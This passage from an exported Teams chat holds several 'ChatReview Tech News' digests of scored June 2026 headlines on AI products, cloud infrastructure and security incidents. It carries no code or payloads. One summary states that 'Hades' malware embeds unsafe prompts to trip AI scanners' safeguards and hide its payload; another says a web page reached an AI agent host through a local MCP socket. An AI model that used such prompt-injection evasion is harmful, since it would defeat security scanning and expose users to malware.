Dotmo](https://techcrunch.com/2026/06/18/snap-spins-off-ai-video-team-into-new-company-dotmo-due-to-costs/)** \u2014 **Score: 25/35.** Snap is spinning out its AI-video team as Dotmo to contain development costs and pursue generative-video work independently.\",\n>       \"created_at\": \"2026-06-19T09:58:17.228Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863096435\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863096435\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 4/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Vertex AI SDK flaw enabled cross-tenant remote code execution](https://unit42.paloaltonetworks.com/hijacking-vertex-ai-model/)** \u2014 **Score: 34/35.** A Vertex AI Python SDK flaw enabled bucket-squatting attacks that could hijack uploaded models and achieve cross-tenant remote code execution.\\n  2. **[AI-chip location tracking bill gains industry support](https://news.google.com/rss/articles/CBMinwFBVV95cUxOUkJoSzZIYk92LXRFTnJqd1BoZkFTczlMWTZmSnZKRGxLTll4YjZjM2FnYndiMkt0M29mOWhkVXM2eDJuNXlJQ3FzU3FsMEx6TnlGa3lPZWtRR1RLdUVFSDhRcGNUSDNLN1pPeHVVY0xVV2tTNG5zbVFhWko2ZTZIR3UteDhXd0t2N2lheXhxUWgzSFU1MWllXzdPeGFtelE?oc=5)** \u2014 **Score: 33/35.** A US bill requiring location tracking for advanced AI chips gained industry support, raising major compliance and supply-chain implications.\\n  3. **[US regulators give AI data centers a faster path to the grid](https://techcrunch.com/2026/06/18/ai-data-centers-just-got-a-government-mandated-fast-lane-to-the-grid/)** \u2014 **Score: 33/35.** FERC ordered faster grid interconnection handling for data centers, but power-supply constraints remain a bottleneck for AI infrastructure growth.\\n  4. **[LiteLLM flaw chain could expose AI gateway servers](https://news.google.com/rss/articles/CBMigAFBVV95cUxNd3pzN0V5ckJOZkpoYW9YWEEyRkhCZmtzOVZSUWNpR0FOT1ZfdEFyQkE5SGRTNVdseWNsQUJBRHotZmV3NGVESFBwVC15Zlk3WEdLaFAtbGV6X3FaSDdiLUVUQm5scVg2SHN2VmsxZ2UzUnRobjB3TG0wZWZVU2tmMQ?oc=5)** \u2014 **Score: 33/35.** A vulnerability chain could let low-privilege users take over LiteLLM gateway servers, putting centralized model credentials and traffic at risk.\\n  5. **[Docker joins Athena software-supply-chain coalition](https://www.docker.com/blog/docker-joins-the-athena-coalition-a-cross-industry-collaboration-for-supply-chain-security/)** \u2014 **Score: 32/35.** Docker joined the Athena coalition to coordinate cross-industry software-supply-chain defenses as AI lowers the cost of sophisticated attacks.\\n  6. **[Docker retires Content Trust and Notary v1](https://www.docker.com/blog/docker-content-trust-retirement-and-migration-guidance/)** \u2014 **Score: 31/35.** Docker Content Trust and Notary v1 are being retired; teams must migrate image-signing workflows to supported modern alternatives.\\n  7. **[Cisco patches critical ISE command-execution flaw](https://news.google.com/rss/articles/CBMilgFBVV95cUxNUHZOYXUtLWRPaTcwVUlIM2dWUHB4bk90eDR0aFR4bGdxTDFiaUMtZjJKSGJObXBxVkVjTHhOVVNlMjhQMlFTNGRnSktjS2xFM2RjdjdZTGJsWDdrRlA0emp3dTJsdkVibW05OHF3Y21KMHhiQTNrcmp5ZWJlNllrRWVQR1VFLTdwbU5tZWF4WlUyY2t3eFHSAZsBQVVfeXFMUEk2OXJ0bXVtMmRuMDR6aEY0bVdZRWJrc2JSemxLa0hLVVFpRHRFMFhfSkVFSmlNTFZtb1Y2QlUtWmRpSzl1U1o5UXpBeTdIM1RDendKcTN3SFdyR2pzVmRxV3lpNUZnZUMtOXFHRlZHQjIwbzhPMkRqZXFMT29oQm50UlJWVEx1em9PVlNvcGJqM1FRNG1BSDB2ZWc?oc=5)** \u2014 **Score: 30/35.** Cisco patched a critical ISE command-execution flaw; identity infrastructure teams should review affected versions and prioritize upgrades.\\n  8. **[Attackers exploit three FortiSandbox vulnerabilities](https://news.google.com/rss/articles/CBMie0FVX3lxTFBfOHNXSDlzYnEtR3BYS0dfRnhSbFFQRXlPNVFLS0dwZjVxSUhJSWNmRHpPTk1vX0hmWUYwOWdXbFctZ3JYcWhVUlBjUkp1eFFPZ2tGVDJpNERtaUR3MXZYZWtmVU5EbngxY0R6TjNxOEVkeWNxcVludmJxWQ?oc=5)** \u2014 **Score: 30/35.** Attackers are exploiting three FortiSandbox flaws, including one patched only last week, creating urgent exposure for sandbox deployments.\\n  9. **[Ransomware operators hide traffic through Microsoft Teams relays](https://news.google.com/rss/articles/CBMiuwFBVV95cUxQT3VMeUZUQ0xzUE93TkFTd0xZazFTRXhKZWl4SXp1djV6eC1tdjNWSF9kMFU4cDZjYVIwdl9qOWlDV0ZURWRaejhtMlcxOVFNRzlmSEpaemJMbERBUDZWY1N0LWoyeEdfWXNJdkZkcnFVY1BrRVNBUkxYTUM4dHJBLTFVU0Z5TVA2MWZpbTNUSHpvZHpnaVl4dGZELTFKOWZ4U0YtTXNXdDNJRHpLSHp6dUNKUGE0MThTWEpF0gHAAUFVX3lxTFB3YmZPTjlodTlRbThSMWFqYW8xTmp4LV9LUXVxc2NDVDZrWm5IVzJhNHZxNGllVzJZajJoQXVVSHlYOThGaVkxeDRraktOWUkxWXB5OTIwZm5xOUk4alVacUVxdlpGZVZ4YkxqNWl0UllEaDdoblFTUjJDYkpOT0ZEZXU5RFJzQmMydTBSQmRpTWZvdzl3bE5nY1ZaTERRcHR4SGo2TThjdzVsYmFHSnNDOFlJMGpZNUFLUUlfak5PTA?oc=5)** \u2014 **Score: 30/35.** Ransomware operators are abusing Microsoft Teams relay infrastructure to conceal command-and-control traffic inside trusted cloud services.\\n  10. **[Texas breach exposes three million identity documents](https://techcrunch.com/2026/06/18/texas-government-data-breach-allowed-hackers-to-steal-3-million-drivers-licenses-and-passports/)** \u2014 **Score: 27/35.** Hackers stole about 3 million driver\u2019s licenses and passports from a Texas government system, creating large-scale identity and privacy risk.\",\n>       \"created_at\": \"2026-06-19T09:58:16.435Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863095391\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863095391\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 3/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Nvidia Blackwell leads the first AgentPerf infrastructure benchmark](https://blogs.nvidia.com/blog/nvidia-blackwell-agentperf-artificial-analysis/)** \u2014 **Score: 33/35.** Nvidia Blackwell led the first AgentPerf infrastructure results, giving teams a new benchmark for comparing systems that run tool-using AI agents.\\n  2. **[HPE and Nvidia expand AI Factory for production agents](https://blogs.nvidia.com/blog/hpe-ai-factory-agentic-enterprise/)** \u2014 **Score: 32/35.** HPE and Nvidia expanded their AI Factory stack for production agents, combining compute, networking, software and enterprise deployment tooling.\\n  3. **[OpenAI launches a $150 million partner network](https://openai.com/index/introducing-openai-partner-network)** \u2014 **Score: 31/35.** OpenAI is investing $150 million in a global partner network to accelerate enterprise AI deployment, integration and transformation.\\n  4. **[Baseten reportedly raises $1.5 billion for AI inference](https://techcrunch.com/2026/06/18/ai-inference-startup-baseten-reportedly-raising-1-5b-months-after-its-last-mega-round/)** \u2014 **Score: 31/35.** Inference-platform startup Baseten is reportedly raising $1.5 billion at a $13 billion valuation, underscoring demand for AI-serving infrastructure.\\n  5. **[OVHcloud plans frontier models for European AI sovereignty](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOSXVzUTFCWkxBeDRRWEItdmFYMGlQQ1BLcTlWRGM5THcxcFFULWQxaFVrOGhabzZqcGVqMWE3V3pwaU9SQzFzVGpJRE0xNm44NnpXcjhSaEFncUZKd2tEYkR6dW56bUR4SjVKaVBZd0Q4akxYdktlbThsOGgtTjBrZGdwRTJybnpMMDRZMVEtRXhIWHVOT21OcEFrM0lya0RmSG1EMWZlMTBIUlFCS2pNeEdWWXVDbllBb19uaTJrOUt1TlF2ajJTbg?oc=5)** \u2014 **Score: 31/35.** OVHcloud plans frontier models intended to make it Europe\u2019s second major LLM player, tying sovereign cloud ambitions to model development.\\n  6. **[France brings more sovereign AI infrastructure online](https://blogs.nvidia.com/blog/france-advances-europes-ai-future/)** \u2014 **Score: 30/35.** Nvidia says French AI factories, national compute and industrial platforms are moving into production, expanding Europe\u2019s sovereign-AI capacity.\\n  7. **[India reaches 2.25 million cloud-native developers](https://www.cncf.io/announcements/2026/06/17/cncf-and-slashdata-report-confirms-india-as-one-of-the-largest-cloud-native-communities-with-2-25-million-developers/)** \u2014 **Score: 29/35.** CNCF and SlashData estimate India now has 2.25 million cloud-native developers, alongside rising platform-engineering and hybrid-cloud adoption.\\n  8. **[HSBC expands enterprise AI adoption with Google Cloud](https://news.google.com/rss/articles/CBMiogFBVV95cUxPZ3NyYncxbWk3WUdISWx2N0ZJNHJ5M0RxallIRVpuQmVPVW9zQUJ0R1dwZXJQTHRSQWs2MXMwMUVvc0tHZlktZEJvclRjVzRzUjZZS3hnek1iZUtGcU4wVlEwSkZ2RTY0ZHhzRUhxaGVuR3JzUFE1MUFSMWo3VGVLMzcyM1EzUHNCWGNsRk9xbmlMZ19UWFdfRmdJdURxU0IxSnc?oc=5)** \u2014 **Score: 28/35.** HSBC is expanding its Google Cloud partnership to scale AI use across the bank, another large-enterprise signal for managed cloud AI adoption.\\n  9. **[Near-autonomous GPT-5.4 chemist improves a drug-making reaction](https://openai.com/index/ai-chemist-improves-reaction)** \u2014 **Score: 28/35.** OpenAI and Molecule.one report that a near-autonomous GPT-5.4 chemist improved a difficult medicinal-chemistry reaction.\\n  10. **[OpenAI releases LifeSciBench for real-world research tasks](https://openai.com/index/introducing-life-sci-bench)** \u2014 **Score: 28/35.** OpenAI released an expert-reviewed benchmark for testing how AI systems handle real-world life-science research tasks and decisions.\",\n>       \"created_at\": \"2026-06-19T09:58:15.391Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863094471\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863094471\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 2/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS introduces Continuum for machine-speed security remediation](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-continuum/)** \u2014 **Score: 34/35.** AWS Continuum uses frontier models to discover, prioritize, validate and remediate software risks within customer-defined guardrails.\\n  2. **[AWS agent toolkit adds safer Secrets Manager handling](https://aws.amazon.com/about-aws/whats-new/2026/06/safe-secrets-handling-in-agent-toolkit-for-aws/)** \u2014 **Score: 34/35.** AWS\u2019s agent toolkit adds a Secrets Manager safety skill so coding agents can reference secrets without exposing raw values in prompts or code.\\n  3. **[AWS DevOps Agent previews autonomous release management](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-release-management/)** \u2014 **Score: 33/35.** AWS DevOps Agent can review release readiness and run autonomous release tests before production, expanding agentic CI/CD controls.\\n  4. **[SageMaker adds observability for production inference endpoints](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-sagemaker-ai-inference/)** \u2014 **Score: 33/35.** New inference observability surfaces token performance, GPU health, placement and autoscaling signals for production generative-AI endpoints.\\n  5. **[Cloudflare scales Security Insights scanning capacity tenfold](https://blog.cloudflare.com/scaling-security-scans/)** \u2014 **Score: 32/35.** Cloudflare raised Security Insights throughput to 120+ scans per second\u2014a 10\u00d7 gain\u2014by tuning Kafka consumers, Postgres queries and APIs.\\n  6. **[Amazon EKS adds customer-routed control-plane egress](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-eks-customer-routed-control-plane-egress)** \u2014 **Score: 31/35.** EKS customers can route control-plane egress through their own VPC, improving visibility and policy control for webhooks, OIDC and other outbound traffic.\\n  7. **[F5 ships emergency patches for critical NGINX flaws](https://www.bleepingcomputer.com/news/security/f5-issues-out-of-band-patches-for-critical-nginx-vulnerabilities/)** \u2014 **Score: 30/35.** F5 issued emergency fixes for multiple NGINX flaws, including two critical bugs that could permit remote code execution.\\n  8. **[GitHub Actions supports layered custom runner images](https://github.blog/changelog/2026-06-18-actions-build-custom-images-from-custom-images)** \u2014 **Score: 29/35.** GitHub Actions can now build custom hosted-runner images from existing custom images, simplifying layered image pipelines and maintenance.\\n  9. **[GitHub previews duplicate-issue detection and MCP field support](https://github.blog/changelog/2026-06-18-duplicate-detection-and-issue-fields-mcp-support-for-github-issues)** \u2014 **Score: 29/35.** GitHub is previewing duplicate-issue detection and adding issue-field support to its MCP tooling, reducing maintainer triage work.\\n  10. **[GitHub search now attributes Copilot-authored pull requests](https://github.blog/changelog/2026-06-18-copilot-authored-pull-requests-now-included-in-author-searches)** \u2014 **Score: 29/35.** GitHub author searches now include pull requests opened by Copilot\u2019s cloud agent on a user\u2019s behalf, improving attribution and review tracking.\",\n>       \"created_at\": \"2026-06-19T09:58:14.471Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863093721\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863093721\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 1/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Microsoft advances agentic vulnerability detection into production workflows](https://www.microsoft.com/en-us/security/blog/2026/06/17/beyond-the-benchmark-advancing-security-at-ai-speed/)** \u2014 **Score: 34/35.** Microsoft says its MDASH agentic system now works across Windows, Azure and identity workflows, moving vulnerability discovery and validation closer to production.\\n  2. **[Bedrock AgentCore adds Guardrails to agent authorization policies](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-policy-guardrails-generally-available)** \u2014 **Score: 34/35.** AgentCore Policy can now invoke Bedrock Guardrails, adding content, privacy and safety checks to authorization decisions for production agents.\\n  3. **[AWS Transform assesses generative-AI model migrations](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-model-to-model-assessments)** \u2014 **Score: 33/35.** AWS Transform scans generative-AI codebases and produces plans for migrating workloads from third-party model providers to Amazon Bedrock.\\n  4. **[Amazon Bedrock AgentCore harness reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-harness-generally-available)** \u2014 **Score: 33/35.** AWS made its managed agent harness generally available, packaging the runtime, tools and orchestration needed to move from an idea to a working agent.\\n  5. **[AWS launches EC2 G7 instances with Blackwell GPUs](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-ec2-g7-generally-available)** \u2014 **Score: 32/35.** New G7 instances use Nvidia RTX PRO 4500 Blackwell GPUs and claim up to 4.6\u00d7 higher AI-inference performance than the prior generation.\\n  6. **[Snyk makes its AI security platform free for open-source maintainers](https://snyk.io/blog/secure-developer-program/)** \u2014 **Score: 32/35.** Qualifying open-source maintainers can use Snyk\u2019s full AI Security Platform free to triage, prioritize and fix real vulnerability reports.\\n  7. **[Nvidia Blackwell leads MLPerf Training 6.0](https://blogs.nvidia.com/blog/blackwell-mlperf-training-6-0/)** \u2014 **Score: 31/35.** Nvidia says Blackwell swept MLPerf Training 6.0, a signal for teams comparing large-model training speed, scale and infrastructure efficiency.\\n  8. **[Oracle Autonomous AI Database Serverless arrives on AWS](https://aws.amazon.com/about-aws/whats-new/2026/06/oracle-database-aws-autonomous-database-serverless/)** \u2014 **Score: 30/35.** Oracle Autonomous AI Database Serverless is now available through Database@AWS, with automated patching, tuning and scaling on Exadata.\\n  9. **[GitHub Copilot will deprecate Opus 4.6 fast](https://github.blog/changelog/2026-06-18-upcoming-deprecation-of-opus-4-6-fast)** \u2014 **Score: 30/35.** GitHub will remove Opus 4.6 (fast) from Copilot on June 29; teams using it in chat, agents, edits or completions must choose a supported model.\\n  10. **[Klue OAuth breach exposes Salesforce data across organizations](https://www.bleepingcomputer.com/news/security/klue-oauth-breach-linked-to-icarus-salesforce-data-theft-attacks/)** \u2014 **Score: 28/35.** An OAuth compromise at Klue let Icarus actors steal Salesforce data from multiple organizations, reinforcing third-party token and app risk.\",\n>       \"created_at\": \"2026-06-19T09:58:13.721Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781862571753\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781862571753\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026\\n\\nReviewed 90 articles published June 12\u201319 across official feeds, Google News,\\nHacker News and major technology publications. Earlier ChatReview events were\\nexcluded.\\n\\n  1. **[AutoJack shows how one malicious page can reach an AI agent host](https://www.microsoft.com/en-us/security/blog/2026/06/18/autojack-single-page-rce-host-running-ai-agent/)** \u2014 **Score: 34/35.** Microsoft showed how untrusted page content could reach a local MCP socket and execute processes in AutoGen Studio. Fixed upstream; PyPI releases were not exposed.\\n  2. **[AWS Security Agent adds threat modeling and coding-agent integrations](https://aws.amazon.com/blogs/aws/aws-security-agent-adds-threat-modeling-kiro-power-and-claude-code-plugin-and-more/)** \u2014 **Score: 34/35.** Adds STRIDE threat modeling, repo/PR scanning with remediation, plus Kiro, Claude Code and MCP integrations\u2014bringing security reviews into developer workflows.\\n  3. **[Cloudflare launches agent-powered Zero Trust deployment stack](https://blog.cloudflare.com/cloudflare-one-stack/)** \u2014 **Score: 34/35.** A library of agent skills can plan, deploy and manage Zero Trust environments, turning network and security migration into an agent-assisted workflow.\\n  4. **[OpenAI simulates deployment to predict model behavior before release](https://openai.com/index/deployment-simulation)** \u2014 **Score: 33/35.** Deployment Simulation privately replays prior conversations against candidate models to predict real-world misbehavior, including agentic tool-use rollouts.\\n  5. **[Amazon Bedrock AgentCore adds managed web search](https://aws.amazon.com/blogs/aws/announcing-web-search-on-amazon-bedrock-agentcore-ground-your-ai-agents-in-current-accurate-web-knowledge/)** \u2014 **Score: 33/35.** AgentCore now offers MCP-based web search with citations and zero customer-data egress, reducing the infrastructure needed to build grounded agents.\\n  6. **[Mastra npm compromise poisoned more than 140 packages](https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/)** \u2014 **Score: 32/35.** Postinstall malware could hit developer machines and CI/CD pipelines before the compromised Mastra packages were removed and publishing access revoked.\\n  7. **[Google pushes its AI chips as a broader Nvidia rival](https://www.wsj.com/tech/ai/google-is-using-nvidias-playbook-to-build-a-rival-ai-chip-business-1eac86f9)** \u2014 **Score: 32/35.** Google is using its cloud reach and years of accelerator development to court external customers and build a larger rival AI-chip business.\\n  8. **[Amazon explores selling Trainium chips outside AWS](https://techcrunch.com/2026/06/18/amazon-hopes-to-challenge-nvidia-more-directly-by-selling-its-ai-chips/)** \u2014 **Score: 32/35.** AWS is in early talks to sell Trainium to outside data centers, signaling a direct challenge to Nvidia and a new AI-infrastructure business.\\n  9. **[AWS WAF lets publishers charge AI bots at the edge](https://aws.amazon.com/blogs/aws/aws-waf-adds-ai-traffic-monetization-capability-to-help-content-owners-charge-ai-bots-for-content-access/)** \u2014 **Score: 32/35.** AWS WAF can meter and charge verified AI bots per request using x402 settlement\u2014a notable new commercial model for publisher and agent access.\\n  10. **[Cloudflare publishes its AI-assisted vulnerability harness](https://blog.cloudflare.com/build-your-own-vulnerability-harness/)** \u2014 **Score: 32/35.** Cloudflare detailed a multi-stage discovery and triage system designed to manage state, false positives and model context limits during security research.\\n  11. **[GitHub Copilot code review now follows AGENTS.md](https://github.blog/changelog/2026-06-18-copilot-code-review-agents-md-support-and-ui-improvements)** \u2014 **Score: 32/35.** Copilot code review now reads repository-level AGENTS.md instructions and is easier to request on draft pull requests; the changes are generally available.\\n  12. **[GitHub Actions gets safer pull_request_target defaults](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout)** \u2014 **Score: 31/35.** actions/checkout v7 reduces \u201cpwn request\u201d risk, where unreviewed fork code can run with repository secrets and elevated GITHUB_TOKEN permissions.\\n  13. **[MAI-Code-1-Flash expands across GitHub Copilot](https://github.blog/changelog/2026-06-18-mai-code-1-flash-available-on-more-copilot-surfaces/)** \u2014 **Score: 31/35.** Microsoft\u2019s small coding model is rolling out across Copilot CLI, GitHub, VS Code and mobile, with Business and Enterprise access planned.\\n  14. **[OpenAI adds enterprise usage analytics and spend controls](https://openai.com/index/chatgpt-enterprise-spend-controls)** \u2014 **Score: 31/35.** ChatGPT Enterprise adds unified ChatGPT/Codex credit analytics plus workspace, group and user limits to make AI rollout costs more governable.\\n  15. **[Critical Splunk flaw is exploited days after disclosure](https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/)** \u2014 **Score: 30/35.** CVE-2026-20253 was exploited days after disclosure; CISA gave agencies three days to patch the unauthenticated file-operation flaw.\",\n>       \"created_at\": \"2026-06-19T09:49:31.753Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781693002738\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781693002738\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 2/10\\n\\nSecond repeat pass. Previously posted same-event stories were filtered out.\\n\\n  1. **[Oracle warns PeopleSoft customers after mass exploitation](https://www.techradar.com/pro/security/oracle-warns-customers-of-critical-peoplesoft-attack-after-hundreds-of-servers-hacked-by-apparent-shinyhunters-data-theft-attacks)** \\\\- Score: 31/35. CVE-2026-35273 was reportedly exploited as a zero-day before Oracle's June 10 patch, hitting enterprise and university systems.\\n  2. **[Hades malware tricks AI scanners with prompt injection](https://www.tomshardware.com/tech-industry/cyber-security/hades-malware-campaign-now-tricks-ai-bots-by-injecting-text-about-biological-and-nuclear-weapons-failsafe-mechanisms-triggered-by-prompts-for-weapon-creation-stop-scans-before-payload-is-seen)** \\\\- Score: 31/35. Malicious Python and JavaScript packages now embed unsafe prompts to trip AI scanner safeguards and hide payloads from cursory checks.\\n  3. **[Vibe-coding startups are raising billions](https://www.businessinsider.com/startups-raising-billions-vibe-coding-boom-cursor-lovable-replit-emergent-2026-3)** \\\\- Score: 30/35. Replit, Lovable, Cognition, Poolside and others show how natural-language app building is pulling capital into developer tooling.\\n  4. **[Google Gemini suffers multi-hour global outage](https://www.techradar.com/news/live/gemini-down-june-2026)** \\\\- Score: 29/35. Gemini users saw error 1076/1099 across web and mobile, underscoring reliability risk as teams depend on AI assistants for work.\\n  5. **[Tech leaders soften how they talk about AI job impact](https://www.businessinsider.com/ai-job-impact-losses-shifting-sam-altman-mustafa-suleyman-comments-2026-6)** \\\\- Score: 28/35. Altman, Suleyman and others are reframing AI from job wipeout to task automation as public and political backlash rises.\\n  6. **[OpenAI and Anthropic warn about the AI future they are building](https://www.businessinsider.com/openai-anthropic-warning-about-future-they-are-building-2026-6)** \\\\- Score: 28/35. Frontier labs are calling for stronger safety coordination while still racing to ship models and developer automation tools.\\n  7. **[OpenAI and Anthropic IPO plans could reshape AI investing](https://www.businessinsider.com/openai-anthropic-ai-ipo-spacex-stocks-stock-market-investing-trade-2026-6)** \\\\- Score: 27/35. Direct public listings for frontier labs could pull capital away from hyperscalers, chips and other indirect AI beneficiaries.\\n  8. **[Palantir CEO criticizes AI companies and their deployment model](https://www.businessinsider.com/palantir-ceo-ai-companies-leaders-unlikeable-fde-competition-2026-6)** \\\\- Score: 26/35. Alex Karp says AI firms misunderstand public trust and copy Palantir's forward-deployed model without enough operational discipline.\\n  9. **[The Internet of Agentic AI](https://arxiv.org/abs/2606.12835)** \\\\- Score: 26/35. New research frames autonomous agents as distributed systems needing identity, negotiation, trust, governance and resource control.\\n  10. **[Programming languages still matter to AI coding agents](https://arxiv.org/abs/2606.13763)** \\\\- Score: 26/35. Claude Code and Codex built chess engines in 17 languages, but performance, cost and supervision still varied heavily by language.\",\n>       \"created_at\": \"2026-06-17T10:43:22.738Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692653287\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692653287\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 1/10\\n\\nFresh pass after the earlier Jun 17 post. Same-event duplicates from prior\\nChatReview posts were skipped.\\n\\n  1. **[Salesforce to acquire AI agent maker Fin in $3.6B deal](https://www.investors.com/news/technology/salesforce-stock-fin-artificial-intelligence-acqusition-crm/)** \\\\- Score: 32/35. Salesforce is buying Fin/Intercom to strengthen Agentforce, showing how agentic AI is reshaping CRM and enterprise support software.\\n  2. **[OpenAI's latest acquisition could reshape 